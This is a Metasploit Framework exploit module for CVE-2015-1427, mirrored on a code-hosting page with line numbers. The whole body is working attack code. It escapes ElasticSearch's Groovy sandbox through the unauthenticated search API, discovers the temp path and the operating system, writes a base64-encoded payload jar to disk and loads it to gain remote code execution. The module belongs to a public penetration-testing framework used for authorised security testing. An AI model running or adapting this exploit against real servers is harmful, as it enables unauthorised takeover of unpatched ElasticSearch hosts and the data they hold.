Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/elasticsearch/search_groovy_script.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::FileDropper
10
include Msf::Exploit::Remote::HttpClient
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'ElasticSearch Search Groovy Sandbox Bypass',
17
'Description' => %q{
18
This module exploits a remote command execution (RCE) vulnerability in ElasticSearch,
19
exploitable by default on ElasticSearch prior to 1.4.3. The bug is found in the
20
REST API, which does not require authentication, where the search function allows
21
groovy code execution and its sandbox can be bypassed using java.lang.Math.class.forName
22
to reference arbitrary classes. It can be used to execute arbitrary Java code. This
23
module has been tested successfully on ElasticSearch 1.4.2 on Ubuntu Server 12.04.
24
},
25
'Author' => [
26
'Cameron Morris', # Vulnerability discovery
27
'Darren Martyn', # Public Exploit
28
'juan vazquez' # Metasploit module
29
],
30
'License' => MSF_LICENSE,
31
'References' => [
32
['CVE', '2015-1427'],
33
['URL', 'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/'],
34
['URL', 'https://github.com/XiphosResearch/exploits/tree/master/ElasticSearch'],
35
['URL', 'http://drops.wooyun.org/papers/5107']
36
],
37
'Platform' => 'java',
38
'Arch' => ARCH_JAVA,
39
'Targets' => [
40
['ElasticSearch 1.4.2', {}]
41
],
42
'DisclosureDate' => '2015-02-11',
43
'DefaultTarget' => 0,
44
'Notes' => {
45
'Reliability' => UNKNOWN_RELIABILITY,
46
'Stability' => UNKNOWN_STABILITY,
47
'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
}
49
)
50
)
51
52
register_options(
53
[
54
Opt::RPORT(9200),
55
OptString.new('TARGETURI', [true, 'The path to the ElasticSearch REST API', "/"])
56
]
57
)
58
end
59
60
def check
61
result = Exploit::CheckCode::Safe
62
63
if vulnerable?
64
result = Exploit::CheckCode::Vulnerable
65
end
66
67
result
68
end
69
70
def exploit
71
print_status("Checking vulnerability...")
72
unless vulnerable?
73
fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")
74
end
75
76
print_status("Discovering TEMP path...")
77
res = execute(java_tmp_dir)
78
tmp_dir = parse_result(res)
79
if tmp_dir.nil?
80
fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...")
81
else
82
print_good("TEMP path on '#{tmp_dir}'")
83
end
84
85
print_status("Discovering remote OS...")
86
res = execute(java_os)
87
os = parse_result(res)
88
if os.nil?
89
fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...")
90
else
91
print_good("Remote OS is '#{os}'")
92
end
93
94
if os =~ /win/i
95
tmp_file = "#{tmp_dir}#{rand_text_alpha(4 + rand(4))}.jar"
96
else
97
tmp_file = File.join(tmp_dir, "#{rand_text_alpha(4 + rand(4))}.jar")
98
end
99
100
register_files_for_cleanup(tmp_file)
101
102
print_status("Trying to load metasploit payload...")
103
java = java_load_class(os, tmp_file)
104
execute(java)
105
end
106
107
def vulnerable?
108
java = 'java.lang.Math.class.forName("java.lang.Runtime")'
109
110
vprint_status("Trying to get a reference to java.lang.Runtime...")
111
res = execute(java)
112
result = parse_result(res)
113
114
if result.nil?
115
vprint_status("no response to test")
116
return false
117
elsif result == 'class java.lang.Runtime'
118
return true
119
end
120
121
false
122
end
123
124
def parse_result(res)
125
unless res
126
vprint_error("No response")
127
return nil
128
end
129
130
unless res.code == 200 && res.body
131
vprint_error("Target answered with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)")
132
return nil
133
end
134
135
begin
136
json = JSON.parse(res.body.to_s)
137
rescue JSON::ParserError
138
return nil
139
end
140
141
begin
142
result = json['hits']['hits'][0]['fields']['msf_result']
143
rescue
144
return nil
145
end
146
147
result.is_a?(::Array) ? result.first : result
148
end
149
150
def java_tmp_dir
151
'java.lang.Math.class.forName("java.lang.System").getProperty("java.io.tmpdir")'
152
end
153
154
def java_os
155
'java.lang.Math.class.forName("java.lang.System").getProperty("os.name")'
156
end
157
158
def java_load_class(os, tmp_file)
159
if os =~ /win/i
160
tmp_file.gsub!(/\\/, '\\\\\\\\')
161
end
162
163
java = [
164
'c=java.lang.Math.class.forName("java.io.FileOutputStream");',
165
'b64=java.lang.Math.class.forName("sun.misc.BASE64Decoder");',
166
"i=c.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\");",
167
'b64_i=b64.newInstance();',
168
"i.write(b64_i.decodeBuffer(\"#{Rex::Text.encode_base64(payload.encoded)}\"));",
169
'loader_class=java.lang.Math.class.forName("java.net.URLClassLoader");',
170
'file_class=java.lang.Math.class.forName("java.io.File");',
171
"file_url=file_class.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\").toURI().toURL();",
172
'loader=loader_class.newInstance();',
173
'loader.addURL(file_url);',
174
'm=loader.loadClass(\'metasploit.Payload\');',
175
'm.main(null);'
176
]
177
178
java.join
179
end
180
181
def execute(java, timeout = 20)
182
payload = {
183
"size" => 1,
184
"query" => {
185
"filtered" => {
186
"query" => {
187
"match_all" => {}
188
}
189
}
190
},
191
"script_fields" => {
192
"msf_result" => {
193
"script" => java,
194
"lang" => "groovy"
195
}
196
}
197
}
198
199
res = send_request_cgi({
200
'uri' => normalize_uri(target_uri.path.to_s, "_search"),
201
'method' => 'POST',
202
'data' => JSON.generate(payload)
203
}, timeout)
204
205
res
206
end
207
end
208
209